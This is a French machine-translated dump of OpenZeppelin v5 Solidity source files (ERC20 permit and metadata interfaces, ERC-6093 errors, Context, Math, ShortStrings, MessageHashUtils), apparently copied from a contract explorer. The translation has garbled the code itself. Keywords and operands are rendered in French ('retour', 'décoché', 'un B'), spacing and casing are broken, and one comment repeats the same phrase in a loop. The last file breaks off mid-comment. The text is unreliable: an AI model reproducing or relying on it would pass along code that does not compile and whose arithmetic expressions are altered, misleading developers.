// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (Token / ERC20 / Extensions / IERC20PERMIT.SOL) Pragma Solidity ^ 0.8.20; / ** * @DEV Interface de l'extension de permis ERC20Permettre des approbations à faire via des signatures, telles que définies dans * https://eips.ethereum.org/eips/eip-2612=eip-2612].* * Ajoute la méthode {permis}, qui peut être utilisée pour modifier l'allocation ERC20 d'un compte (voir {ierc20-allowance}) en présentant un message signé par le compte.En ne s'appuyant pas sur {ierc20-approVE}, le compte de détenteur de jeton n'a pas * besoin d'envoyer une transaction et n'est donc pas nécessaire de maintenir l'éther du tout.* * ==== Considérations de sécurité * * Il existe deux considérations importantes concernant l'utilisation du «permis».La première est qu'une signature de permis valide * exprime une allocation, et il ne faut pas supposer de transmettre une signification supplémentaire.En particulier, il ne doit pas être considéré comme une intention de dépenser l'allocation de manière spécifique.La seconde est que parce que les permis ont * une protection de relecture intégrée et peuvent être soumis par n'importe qui, ils peuvent être à l'avance.Un protocole qui utilise les permis devrait * prendre cela en considération et permettre à un appel de permis d'échouer.En combinant ces deux aspects, un modèle qui peut être généralement recommandé est: * * `` `Solidity * Fonction DothingWithPermit (..., uint256 Valeur, Uint256 Date limite, uint8 v, bytes32 r, bytes32 s) public {* essayez token.permis (msg.sender, adresse (this), valeur, échéance, v, r, s) {} catch {} * dothing (..., valeur);*} * * fonction dothing (..., uint256 value) public {* token.safetransferfrom (msg.sender, adresse (this), valeur);* ... *} * `` `* * Observez que: 1)` MSG.Sender` est utilisé comme propriétaire, ne laissant aucune ambiguïté quant à l'intention du signataire, et 2) l'utilisation de * `essayez / catch`Le permis d'échec et rend le code tolérant à la mise en œuvre.(Voir aussi * {SafeerC20-SAFETRANSFERFROM}).* * En outre, notez que les portefeuilles de contrat intelligent (comme Argent ou SAFE) ne sont pas en mesure de produire des signatures de permis, donc * les contrats devraient avoir des points d'entrée qui ne s'appuient pas sur le permis.* / Interface IERC20PERMIT {/ ** * @DEV Définit `Value` comme l'allocation de` Spder 'sur les jetons de `` propriétaire' '*, étant donné l'approbation signée de `` propriétaire' '.* * IMPORTANT: Les mêmes problèmes {IERC20-Approve} ont lié à la transaction * La commande s'applique également ici.* * Émet un événement {approbation}.* * Exigences: * * - `Spender` ne peut pas être l'adresse zéro.* - `Date limite 'doit être un horodatage à l'avenir.* - `v`,` r` et `s` doivent être une signature« Secp256K1 »valide de` propriétaire »* sur les arguments de fonction formés par EIP712.* - La signature doit utiliser le nonce actuel de `` propriétaire '' (voir {nonces}).* * Pour plus d'informations sur le format de signature, consultez le * https://eips.ethereum.org/eips/eip-2612#specification ours de la section EIP *.* * ATTENTION: Voir les considérations de sécurité ci-dessus.* / Permis de fonction (propriétaire d'adresse, SPENDER ADRESSE, valeur UInt256, date limite UInt256, uint8 v, bytes32 r, bytes32 s) externe;/ ** * @dev renvoie le nonce actuel pour `propriétaire`.Cette valeur doit être * incluse chaque fois qu'une signature est générée pour {permis}.* * Chaque appel réussi à {permis} augmente le nonce de `` propriétaire ''.Cela * empêche une signature d'être utilisé plusieurs fois.* / fonctions nonces (propriétaire d'adresse) Retour de vue externe (UInt256);/ ** * @dev renvoie le séparateur de domaine utilisé dans le codage de la signature pour {permis}, tel que défini par {eip712}.* / // Solhint-disable-next-line func-name-mixedcase function domain_separator () return de vue externe (bytes32);}
Fichier 13 sur 28: Draft-eirc6093.sol
// SPDX-License-Identifier : MIT// OpenZeppelin Contracts (dernière mise à jour v5.0.0) (interfaces/draft-IERC6093.sol)pragma solidity ^0.8.20;/** * @dev Standard ERC20 Errors * Interface du https ://eips.ethereum.org/EIPS/eip-6093[ERC-6093] erreurs personnalisées pour les jetons ERC20. */interface IERC20Errors { /** * @dev Indique une erreur liée au « solde » actuel d'un « expéditeur ». Utilisé dans les transferts. * @param sender Adresse dont les jetons sont transférés. * @param balance Solde actuel du compte interactif. * @param nécessaire Montant minimum requis pour effectuer un transfert. */ erreur ERC20InsufficientBalance (adresse de l'expéditeur, solde uint256, uint256 nécessaire) ; /** * @dev Indique un échec avec le jeton `sender`. Utilisé dans les transferts. * @param sender Adresse dont les jetons sont transférés. */ erreur ERC20InvalidSender (adresse de l'expéditeur) ; /** * @dev Indique un échec avec le jeton `receiver`. Utilisé dans les transferts. * @param Receiver Adresse à laquelle les jetons sont transférés. */ erreur ERC20InvalidReceiver (adresse du destinataire); /** * @dev Indique un échec avec « l'allocation » du « dépensier ». Utilisé dans les transferts. * @param dépenseur Adresse qui peut être autorisée à opérer sur des jetons sans en être propriétaire. * @param allocation Montant de jetons avec lesquels un « dépensier » est autorisé à opérer. * @param nécessaire Montant minimum requis pour effectuer un transfert. */ erreur ERC20InsufficientAllowance (adresse du dépensier, allocation uint256, uint256 nécessaire) ; /** * @dev Indique un échec avec « l'approbateur » d'un jeton à approuver. Utilisé dans les approbations. * @param approbateur Adresse initiant une opération d'approbation. */ erreur ERC20InvalidApprover (approbateur d'adresse); /** * @dev Indique un échec avec le « dépensier » à approuver. Utilisé dans les approbations. * @param dépenseur Adresse qui peut être autorisée à opérer sur des jetons sans en être propriétaire. */ error ERC20InvalidSpender(address dépenserer);}/** * @dev Standard ERC721 Errors * Interface des erreurs personnalisées https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] pour les jetons ERC721. */interface IERC721Errors { /** * @dev Indique qu'une adresse ne peut pas être propriétaire. Par exemple, « adresse(0) » est un propriétaire interdit dans EIP-20. * Utilisé dans les requêtes de solde. * @paramowner Adresse du propriétaire actuel d'un token. */ erreur ERC721InvalidOwner (propriétaire de l'adresse) ; /** * @dev Indique un `tokenId` dont le `owner` est l'adresse zéro. * @param tokenId Numéro d'identification d'un jeton. */ erreur ERC721NonexistentToken(uint256 tokenId); /** * @dev Indique une erreur liée à la propriété d'un jeton particulier. Utilisé dans les transferts. * @param sender Adresse dont les jetons sont transférés. * @param tokenId Numéro d'identification d'un jeton. * @paramowner Adresse du propriétaire actuel d'un token. */ erreur ERC721IncorrectOwner (expéditeur de l'adresse, uint256 tokenId, propriétaire de l'adresse) ; /** * @dev Indique un échec avec le jeton `sender`. Utilisé dans les transferts. * @param sender Adresse dont les jetons sont transférés. */ erreur ERC721InvalidSender (adresse de l'expéditeur) ; /** * @dev Indique un échec avec le jeton `receiver`. Utilisé dans les transferts. * @param Receiver Adresse à laquelle les jetons sont transférés. */ erreur ERC721InvalidReceiver (adresse du destinataire); /** * @dev Indique un échec avec l'approbation de « l'opérateur ». Utilisé dans les transferts. * @param Operator Adresse qui peut être autorisée à opérer sur des jetons sans en être le propriétaire. * @param tokenId Numéro d'identification d'un jeton. */ erreur ERC721InsufficientApproval(opérateur d'adresse, uint256 tokenId); /** * @dev Indique un échec avec « l'approbateur » d'un jeton à approuver. Utilisé dans les approbations. * @param approbateur Adresse initiant une opération d'approbation. */ erreur ERC721InvalidApprover (approbateur d'adresse); /** * @dev Indique un échec avec « l'opérateur » à approuver. Utilisé dans les approbations. * @param Operator Adresse qui peut être autorisée à opérer sur des jetons sans en être le propriétaire. */ error ERC721InvalidOperator(address Operator);}/** * @dev Standard ERC1155 Errors * Interface des erreurs personnalisées https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] pour les jetons ERC1155. */interface IERC1155Errors { /** * @dev Indique une erreur liée au « solde » actuel d'un « expéditeur ». Utilisé dans les transferts. * @param sender Adresse dont les jetons sont transférés. * @param balance Solde actuel du compte interactif. * @param nécessaire Montant minimum requis pour effectuer un transfert. * @param tokenId Numéro d'identification d'un jeton. */ erreur ERC1155InsufficientBalance (adresse de l'expéditeur, solde uint256, uint256 nécessaire, uint256 tokenId) ; /** * @dev Indique un échec avec le jeton `sender`. Utilisé dans les transferts. * @param sender Adresse dont les jetons sont transférés. */ erreur ERC1155InvalidSender (adresse de l'expéditeur) ; /** * @dev Indique un échec avec le jeton `receiver`. Utilisé dans les transferts. * @param Receiver Adresse à laquelle les jetons sont transférés. */ erreur ERC1155InvalidReceiver (adresse du destinataire); /** * @dev Indique un échec avec l'approbation de « l'opérateur ». Utilisé dans les transferts. * @param Operator Adresse qui peut être autorisée à opérer sur des jetons sans en être le propriétaire. * @paramowner Adresse du propriétaire actuel d'un token. */ erreur ERC1155MissingApprovalForAll (opérateur d'adresse, propriétaire de l'adresse) ; /** * @dev Indique un échec avec « l'approbateur » d'un jeton à approuver. Utilisé dans les approbations. * @param approbateur Adresse initiant une opération d'approbation. */ erreur ERC1155InvalidApprover (approbateur d'adresse); /** * @dev Indique un échec avec « l'opérateur » à approuver. Utilisé dans les approbations. * @param Operator Adresse qui peut être autorisée à opérer sur des jetons sans en être le propriétaire. */ erreur ERC1155InvalidOperator(opérateur d'adresse); /** * @dev Indique une incompatibilité de longueur de tableau entre les identifiants et les valeurs dans une opération safeBatchTransferFrom. * Utilisé dans les transferts par lots. * @param idsLength Longueur du tableau des identifiants de jetons * @param valuesLength Longueur du tableau des montants de jetons */ error ERC1155InvalidArrayLength(uint256 idsLength, uint256valuesLength);}
Fichier 14 sur 28: context.sol
// SPDX-license-identificateur: MIT // Contrats OpenZeppelin (Dernière mise à jour v5.0.1) (utils / context.sol) Pragma Solidity ^ 0.8.20; / ** * @DEV fournit des informations sur le contexte d'exécution actuel, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte de l'exécution actuel, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte, y compris le contexte de l'exécution actuel, y compris le contexte, y compris le contexte, y compris les* Expéditeur de la transaction et de ses données.Bien que ceux-ci soient généralement disponibles * via MSG.Sender et Msg.Data, ils ne doivent pas être accessibles de manière aussi directe *, car lorsque vous traitez avec des méta-transactions, l'envoi du compte et * payer pour l'exécution peuvent ne pas être l'expéditeur réel (caren tant que demande * est concernée).* * Ce contrat n'est requis que pour les contrats intermédiaires de type bibliothèque.* / Résumé Contexte du contrat {fonction _msgSender () View interne returns virtuel (adresse) {return msg.sender;} fonction _MSGDATA () View interne Virtual Returns (Bytes callData) {return msg.data;} fonction _ContextSuffixLength () View interne Virtual returns (uint256) {return 0;}}
Fichier 15 sur 28: ierc20metadata.sol
// SPDX-license-identificateur: MIT // Contrats OpenZeppelin (Dernière mise à jour v5.0.0) (Token / ERC20 / Extensions / ierc20Metadata.sol) Pragma Solidity ^ 0.8.20; import {ierc20} de "../ierc20.sol"; / ** * @dev interface pour les fonctions de métadonnées en option de la norme ERC20.* / Interface IERC20Metadata est ierc20 {/ ** * @dev renvoie le nom du jeton.* / Fonction Name () Returns de la vue externe (mémoire de chaîne);/ ** * @dev renvoie le symbole du jeton.* / fonction Symbole () View externe returns (mémoire de chaîne);/ ** * @dev renvoie les décimales des places du jeton.* / fonction de décimales () Returns de la vue externe (uint8);}
Fichier 16 sur 28: ierc20.sol
// SPDX-license-identificateur: MIT // Contrats OpenZeppelin (Dernière mise à jour v5.0.0) (Token / ERC20 / IERC20.Sol) Pragma Solidity ^ 0.8.20; / ** * @dev interface de la norme ERC20 comme défini dansL'EIP.* / Interface IERC20 {/ ** * @dev émis lorsque les jetons `Value` sont déplacés d'un compte (` de ') à * un autre (`à').* * Notez que «Value» peut être nul.* / Transfert d'événements (adresse indexée à partir de l'adresse indexée sur, valeur uint256);/ ** * @dev émis lorsque l'allocation d'un `SPENDER` pour un` propriétaire` est définie par * un appel à {approuver}.«Value» est la nouvelle allocation.* / approbation de l'événement (propriétaire indexé sur l'adresse, SPENDER INDEPTÉ ADRESSE, valeur UInt256);/ ** * @dev renvoie la valeur des jetons existants.* / fonction totalSupply () Returns de la vue externe (Uint256);/ ** * @dev renvoie la valeur des jetons détenus par `compte '.* / Fonction Balance (compte d'adresse) Renvoie de la vue externe (Uint256);/ ** * @dev déplace une quantité de jetons de «valeur» du compte de l'appelant vers «vers».* * Renvoie une valeur booléenne indiquant si l'opération a réussi.* * Émet un événement {transfert}.* / Transfert de fonction (adresse à, uint256, valeur externe (bool);/ ** * @DEV Renvoie le nombre restant de jetons que «Spender» sera * autorisé à dépenser pour le nom de `propriétaire» via {TransferFrom}.Ceci est * zéro par défaut.* * Cette valeur change lorsque {approuve} ou {transfromfrom} sont appelés.* / Allocation de fonction (propriétaire d'adresse, SPENDER ADRESSE) Renvoie de la vue externe (Uint256);/ ** * @dev définit une quantité de jetons `` value` comme allocation de «SPENDER» sur les jetons * de l'appelant.* * Renvoie une valeur booléenne indiquant si l'opération a réussi.* * IMPORTANT: Méfiez-vous que la modification d'une allocation avec cette méthode apporte le risque * que quelqu'un puisse utiliser l'ancien et la nouvelle allocation par malheureux * Commande de transaction.Une solution possible pour atténuer cette course * CONDITION est de réduire d'abord l'allocation de la dépens{Approbation} événement.* / Fonction Approuve (Address Spender, Uint256 Valeur) Retours externes (bool);/ ** * @dev déplace une quantité de jetons `` Valeur 'de' de 'à `à' en utilisant le * mécanisme d'allocation.`Value` est ensuite déduit de l'allocation de l'appelant *.* * Renvoie une valeur booléenne indiquant si l'opération a réussi.* * Émet un événement {transfert}.* / Fonction Transfrom (adresse de, adresse à, valeur uint256) Retours externes (bool);}
Fichier 17 sur 28: Math.sol
// SPDX-License-Identifier : MIT// OpenZeppelin Contracts (dernière mise à jour v5.0.0) (utils/math/Math.sol)pragma solidity ^0.8.20;/** * @dev Utilitaires mathématiques standard manquants dans le langage Solidity . */library Math { /** * Débordement d'opération @dev Muldiv. */ erreur MathOverflowedMulDiv(); enum Rounding { Floor, // Vers l'infini négatif Ceil, // Vers l'infini positif Trunc, // Vers zéro Expand // Loin de zéro } /** * @dev Renvoie l'addition de deux entiers non signés, avec un indicateur de débordement. */ function tryAdd(uint256 a, uint256 b) retours purs internes (bool, uint256) { décoché { uint256 c = a + b; si (c < a) return (false, 0); retour (vrai, c); } } /** * @dev Renvoie la soustraction de deux entiers non signés, avec un indicateur de débordement. */ function trySub(uint256 a, uint256 b) internal pure return (bool, uint256) { unchecked { if (b > a) return (false, 0); retour (vrai, a - b); } } /** * @dev Renvoie la multiplication de deux entiers non signés, avec un indicateur de débordement. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Optimisation du gaz : cela coûte moins cher que d'exiger que 'a' ne soit pas nul, mais // l'avantage est perdu si 'b' est également testé. // Voir : https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; si (c / a != b) return (false, 0); retour (vrai, c); } } /** * @dev Renvoie la division de deux entiers non signés, avec un indicateur de division par zéro. */ function tryDiv(uint256 a, uint256 b) internal pure return (bool, uint256) { unchecked { if (b == 0) return (false, 0); retour (vrai, a / b); } } /** * @dev Renvoie le reste de la division de deux entiers non signés, avec un indicateur de division par zéro. */ function tryMod(uint256 a, uint256 b) internal pure return (bool, uint256) { non coché { if (b == 0) return (false, 0); return (vrai, a % b); } } /** * @dev Renvoie le plus grand de deux nombres. */ function max(uint256 a, uint256 b) internal pure return (uint256) { return a > b ? un B; } /** * @dev Renvoie le plus petit de deux nombres. */ function min(uint256 a, uint256 b) internal pure return (uint256) { return a < b ? un B; } /** * @dev Renvoie la moyenne de deux nombres. Le résultat est arrondi vers * zéro. */ function moyenne(uint256 a, uint256 b) retours purs internes (uint256) { // (a + b) / 2 peut déborder. retourner (a & b) + (a ^ b) / 2 ; } /** * @dev Renvoie le plafond de la division de deux nombres. * * Ceci diffère de la division standard avec `/` en ce sens qu'elle arrondit vers l'infini au lieu * d'arrondir vers zéro. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { // Garantit le même comportement que dans une division Solidity régulière. renvoyer a / b ; } // (a + b - 1) / b peut déborder lors d'une addition, nous distribuons donc. renvoyer un == 0 ? 0 : (une - 1) / b + 1 ; } /** * @notice Calcule le plancher (x * y / dénominateur) avec une précision totale. Lance si le résultat dépasse un uint256 ou * dénominateur == 0. * @dev Crédit original à Remco Bloemen sous licence MIT (https://xn--2-umb.com/21/muldiv) avec d'autres modifications par * Uniswap Labs également sous licence MIT. */ function mulDiv(uint256 x, uint256 y, uint256 dénominateur) retours purs internes (résultat uint256) { décoché { // multiplication de 512 bits [prod1 prod0] = x * y. Calculez le produit mod 2^256 et mod 2^256 - 1, puis utilisez // utilisez le théorème du reste chinois pour reconstruire le résultat de 512 bits. Le résultat est stocké dans deux variables 256 // telles que product = prod1 * 2^256 + prod0. uint256 prod0 = x * y; // 256 bits de poids faible du produit uint256 prod1; // 256 bits de poids fort de l'assembly du produit { let mm := mulmod(x, y, not(0)) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Gère non -Cas de débordement, division 256 par 256. if (prod1 == 0) { // La solidité reviendra si le dénominateur == 0, contrairement à l'opcode div seul. // Le bloc non coché environnant ne change rien à ce fait. // Voir https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. retourner prod0 / dénominateur ; } // Assurez-vous que le résultat est inférieur à 2^256. Empêche également le dénominateur == 0. if (denominator <= prod1) { revert MathOverflowedMulDiv(); } //////////////////////////////////////////// // Division 512 par 256. /////////////////////////////////////////////// // Faire division exacte en soustrayant le reste de [prod1 prod0]. uint256 reste ; assembly { // Calcule le reste en utilisant mulmod. reste := mulmod(x, y, dénominateur) // Soustraire le nombre de 256 bits du nombre de 512 bits. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, rest) } // Factoriser les puissances de deux sur le dénominateur et calculer la plus grande puissance de deux diviseurs du dénominateur. // Toujours >= 1. Voir https://cs.stackexchange.com/q/138556/92363. uint256 deux = dénominateur & (0 - dénominateur) ; assembly { // Divise le dénominateur par deux. dénominateur := div(dénominateur, deux) // Divisez [prod1 prod0] par deux. prod0 := div(prod0, twos) // Retourne les deux de telle sorte qu'il soit 2^256 / deux. Si deux vaut zéro, alors cela devient un. twos := add(div(sub(0, twos), twos), 1) } // Décalage en bits de prod1 vers prod0. prod0 |= prod1 * deux ; // Inverser le mod du dénominateur 2 ^ 256. Maintenant que le dénominateur est un nombre impair, il a un inverse modulo 2^256 tel // que le dénominateur * inv = 1 mod 2^256. Calculez l'inverse en commençant par une graine qui est correcte pour // quatre bits. Autrement dit, dénominateur * inv = 1 mod 2^4. uint256 inverse = (3 * dénominateur) ^ 2 ; // Utilisez l'itération Newton-Raphson pour améliorer la précision. Grâce au lemme de levage de Hensel, cela // fonctionne également en arithmétique modulaire, doublant les bits corrects à chaque étape. inverse *= 2 - dénominateur * inverse ; // inverse mod 2^8 inverse *= 2 - dénominateur * inverse ; // mod inverse 2^16 inverse *= 2 - dénominateur * inverse ; // mod inverse 2^32 inverse *= 2 - dénominateur * inverse ; // mod inverse 2^64 inverse *= 2 - dénominateur * inverse ; // mod inverse 2^128 inverse *= 2 - dénominateur * inverse ; // inverse mod 2^256 // Parce que la division est maintenant exacte, nous pouvons diviser en multipliant avec l'inverse modulaire du dénominateur. // Cela nous donnera le résultat correct modulo 2^256. Puisque les conditions préalables garantissent que le résultat est // inférieur à 2^256, c'est le résultat final. Nous n'avons pas besoin de calculer les bits hauts du résultat et prod1 // n'est plus nécessaire. résultat = prod0 * inverse ; renvoyer le résultat ; } } /** * @notice Calcule x * y / dénominateur avec une précision totale, en suivant la direction d'arrondi sélectionnée. */ function mulDiv(uint256 x, uint256 y, uint256 dénominateur, Arrondi arrondi) retours purs internes (uint256) { uint256 result = mulDiv(x, y, dénominateur); if (unsignedRoundsUp(arrondi) && mulmod(x, y, dénominateur) > 0) { result += 1; } renvoie le résultat ; } /** * @dev Renvoie la racine carrée d'un nombre. Si le nombre n'est pas un carré parfait, la valeur est arrondie * vers zéro. * * Inspiré par "Hacker's Delight" de Henry S. Warren, Jr. (Chapitre 11). */ function sqrt(uint256 a) internal pure return (uint256) { if (a == 0) { return 0; } // Pour notre première estimation, nous obtenons la plus grande puissance de 2 qui est plus petite que la racine carrée de la cible. // // Nous savons que le "msb" (bit le plus significatif) de notre nombre cible `a` est une puissance de 2 telle que nous avons // `msb(a) <= a < 2*msb(a)` . Cette valeur peut s'écrire `msb(a)=2**k` avec `k=log2(a)`. // // Ceci peut être réécrit `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k /2 + 1)` // // Par conséquent, `2**(log2(a) / 2)` est une bonne première approximation de `sqrt(a)` avec au moins 1 bit correct. uint256 résultat = 1 << (log2(a) >> 1); // À ce stade, « résultat » est une estimation avec un bit de précision. Nous savons que la vraie valeur est un uint128, // puisque c'est la racine carrée d'un uint256. La méthode de Newton converge quadratiquement (la précision double à chaque itération). Nous avons donc besoin d'au plus 7 itérations pour transformer notre résultat partiel avec un peu de précision // en le résultat uint128 attendu. décoché { résultat = (résultat + a / résultat) >> 1; résultat = (résultat + a / résultat) >> 1 ; résultat = (résultat + a / résultat) >> 1 ; résultat = (résultat + a / résultat) >> 1 ; résultat = (résultat + a / résultat) >> 1 ; résultat = (résultat + a / résultat) >> 1 ; résultat = (résultat + a / résultat) >> 1 ; return min(résultat, a/résultat); } } /** * @notice Calcule sqrt(a), en suivant la direction d'arrondi sélectionnée. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { décoché { uint256 result = sqrt(a); return result + (unsignedRoundsUp(arrondi) && result * result < a ? 1 : 0); } } /** * @dev Renvoie le log en base 2 d'une valeur positive arrondie vers zéro. * Renvoie 0 si 0 est donné. */ function log2(uint256 value) internal pure renvoie (uint256) { uint256 result = 0; décoché { if (valeur >> 128 > 0) { valeur >>= 128 ; résultat += 128 ; } if (valeur >> 64 > 0) { valeur >>= 64; résultat += 64 ; } if (valeur >> 32 > 0) { valeur >>= 32; résultat += 32 ; } if (valeur >> 16 > 0) { valeur >>= 16; résultat += 16 ; } if (valeur >> 8 > 0) { valeur >>= 8; résultat += 8 ; } if (valeur >> 4 > 0) { valeur >>= 4; résultat += 4 ; } if (valeur >> 2 > 0) { valeur >>= 2; résultat += 2 ; } if (valeur >> 1 > 0) { résultat += 1; } } renvoie le résultat ; } /** * @dev Renvoie le log en base 2, suivant le sens d'arrondi sélectionné, d'une valeur positive. * Renvoie 0 si 0 est donné. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { non coché { uint256 result = log2(value); return result + (unsignedRoundsUp(arrondi) && 1 << result < value ? 1 : 0); } } /** * @dev Renvoie le log en base 10 d'une valeur positive arrondie vers zéro. * Renvoie 0 si 0 est donné. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; décoché { if (valeur >= 10 ** 64) { valeur /= 10 ** 64 ; résultat += 64 ; } if (valeur >= 10 ** 32) { valeur /= 10 ** 32; résultat += 32 ; } if (valeur >= 10 ** 16) { valeur /= 10 ** 16; résultat += 16 ; } if (valeur >= 10 ** 8) { valeur /= 10 ** 8; résultat += 8 ; } if (valeur >= 10 ** 4) { valeur /= 10 ** 4; résultat += 4 ; } if (valeur >= 10 ** 2) { valeur /= 10 ** 2; résultat += 2 ; } if (valeur >= 10 ** 1) { résultat += 1; } } renvoie le résultat ; } /** * @dev Renvoie le log en base 10, suivant le sens d'arrondi sélectionné, d'une valeur positive. * Renvoie 0 si 0 est donné. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { non coché { uint256 result = log10(value); return result + (unsignedRoundsUp(arrondi) && 10 ** result < value ? 1 : 0); } } /** * @dev Renvoie le log en base 256 d'une valeur positive arrondie vers zéro. * Renvoie 0 si 0 est donné. * * L'ajout d'un au résultat donne le nombre de paires de symboles hexadécimaux nécessaires pour représenter la « valeur » sous forme de chaîne hexadécimale. */ function log256 (valeur uint256) retours purs internes (uint256) { résultat uint256 = 0 ; décoché { if (valeur >> 128 > 0) { valeur >>= 128 ; résultat += 16 ; } if (valeur >> 64 > 0) { valeur >>= 64; résultat += 8 ; } if (valeur >> 32 > 0) { valeur >>= 32; résultat += 4 ; } if (valeur >> 16 > 0) { valeur >>= 16; résultat += 2 ; } if (valeur >> 8 > 0) { résultat += 1; } } renvoie le résultat ; } /** * @dev Renvoie le log en base 256, suivant le sens d'arrondi sélectionné, d'une valeur positive. * Renvoie 0 si 0 est donné. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { non coché { uint256 result = log256(value); return result + (unsignedRoundsUp(arrondi) && 1 << (result << 3) < value ? 1 : 0); } } /** * @dev Retourne si un mode d'arrondi fourni est considéré comme un arrondi supérieur pour les entiers non signés. */ function unsignedRoundsUp(Arrondissem*nt) internal pure return (bool) { return uint8(arrondi) % 2 == 1; }}
Dossier 18 sur 28: ierc5267.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (Interfaces / ierc5267.sol) Pragma Solidity ^ 0.8.20; Interface IERC5267 {/ ** * @DEV peut être émise pour signaler que l'interfaceLe domaine aurait pu changer.* / événement eip712domainchanged ();/ ** * @dev renvoie les champs et les valeurs qui décrivent le séparateur de domaine utilisé par ce contrat pour la signature EIP-712 *.* / Fonction EIP712Domain () Returns de la vue externe (champs Bytes1, nom de mémoire de chaîne, version de mémoire de chaîne, uint256 chainID, adresse vérificative Contre, bytes32 sel, uint256 [] extensions de mémoire);}
Fichier 19 sur 28: shortstrings.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (utils / shortstrings.sol) Pragma Solidity ^ 0.8.20; import {StoragesLot} de "./storagesLot.sol" ;// |String |0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadlongueur |0x BB | Type Shortstring est Bytes.* * Les chaînes de longueur arbitraire peuvent être optimisées à l'aide de cette bibliothèque si * elles sont assez courtes (jusqu'à 31 octets) en les emballant avec leur * longueur (1 octet) en un seul mot EVM (32 octets).De plus, un mécanisme de secours * peut être utilisé pour tous les autres cas.* * Exemple d'utilisation: * * `` `Solidity * Contrat nommé {* Utilisation de shortstrings pour *;* * Courtstring privé immuable _name;* String privé _namefallback;* * Constructeur (String Memory ContractName) {* _name = contracTname.toshortStringWithFallback (_NameFallback);*} * * Nom de la fonction () View external returns (String Memory) {* return _name.toStringWithFallback (_NameFallback);*} *} * `` `* / Bibliothèque Discurtrings {// Utilisé comme identifiant pour les chaînes de plus de 31 octets.Bytes32 Private constante Fallback_Sentinel = 0x0000000000000000000000000000000000000000000000000000000000000000FF;Error StringToolong (String Str);error invalidShortString ();/ ** * @dev Encode une chaîne au plus 31 caractères dans un «shortstring».* * Cela déclenchera une erreur `StringToolong` est que la chaîne d'entrée est trop longue.* / fonction toshortString (string memory str) Internal Pure returns (shortstring) {bytes Memory bstr = bytes (str);if (bstr.length> 31) {revert stringToolong (str);} return shortstring.wrap (bytes32 (uint256 (bytes32 (bstr)) | bstr.length));} / ** * @dev Décode un `shortstring` retour à une chaîne" normale ".* / fonction toString (shortstring sstr) Internal Pure Returns (String Memory) {uint256 Len = byTelngth (sstr);// L'utilisation de «Nouvelle chaîne (len)» fonctionnerait localement mais n'est pas sûre de la mémoire.String Memory str = new String (32);/// @solidity Memory-safe-assembly Assembly {mstore (str, len) mstore (add (str, 0x20), sstr)} return str;} / ** * @dev Renvoie la longueur d'un `shortstring`.* / fonction byteLength (shortstring sstr) Internal Pure Returns (uint256) {uint256 result = uint256 (shortstring.unwrap (sstr)) & 0xff;if (result> 31) {reverser invalidShortString ();} Retour Résultat;} / ** * @dev codez une chaîne dans un `shortstring`, ou écrivez-le dans le stockage s'il est trop long.* / fonction toshortStringWithFallback (String Memory Value, String Storage Store) Internal Returns (shortstring) {if (bytes (value) .length <32) {return toShortString (value);} else {StoragesLot.getStringsLot (Store) .Value = Value;return shortstring.wrap (Fallback_Sentinel);}} / ** * @dev Décode une chaîne qui a été codée à `shortstring` ou écrite en stockage à l'aide de {setWithFallback}.* / fonction toStringWithFallback (valeur de shortstring, String Storage Store) Internal Pure Returns (String Memory) {if (shortstring.unwrap (value)! = Fallback_Sentinel) {return toString (value);} else {return store;}} / ** * @dev Renvoie la longueur d'une chaîne qui a été codée à `shortstring` ou écrite au stockage en utilisant * {setWithFallback}.* * AVERTISsem*nT: cela renverra la "longueur d'octet" de la chaîne.Cela peut ne pas refléter la longueur réelle en termes de * caractères réels car le codage UTF-8 d'un seul caractère peut s'étendre sur plusieurs octets.* / fonction byteLengthWithFallback (Valeur de shortstring, String Storage Store) Internal View returns (uint256) {if (shortstring.unwrap (value)! = Fallback_Sentinel) {return byTellengt (value);} else {return bytes (store) .length;}}}
Fichier 20 sur 28: messagehashutils.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (utils / cryptographie / messagehashutils.sol) Pragma Solidity ^ 0.8.20; import {Strings} de "../strings.sol";/ ** * @DEV Message de signature Utilitaires de hachage pour la production de digestions à consommer par {ecdsa} Recovery ou Signing.* * La bibliothèque fournit des méthodes pour générer un hachage d'un message conforme au * https://eips.ethereum.org/eips/eip-191[eip 191] et https://eips.ethereum.org/eips/EIP-712 [EIP 712] * Spécifications.* / Library MessageHashutils {/ ** * @dev Renvoie le digestion Keccak256 d'une données signées EIP-191 avec la version * `0x45` (` Messages personnels_sign`).* * Le digest est calculé en préfixant un bytes32 `messagehash` avec *` "\ x19ethereum Message signé: \ n32" `et hachant le résultat.Il correspond au hachage * signé lors de l'utilisation du https://eth.wiki/json-rpc/api#eth_sign [`Eth_sign`] JSON-RPC.* * Remarque: le paramètre `MessageHash` est destiné à être le résultat d'un hachage d'un message brut avec * keccak256, bien que toute valeur octets32 puisse être utilisée en toute sécurité car le digest final sera * redéfini.* * Voir 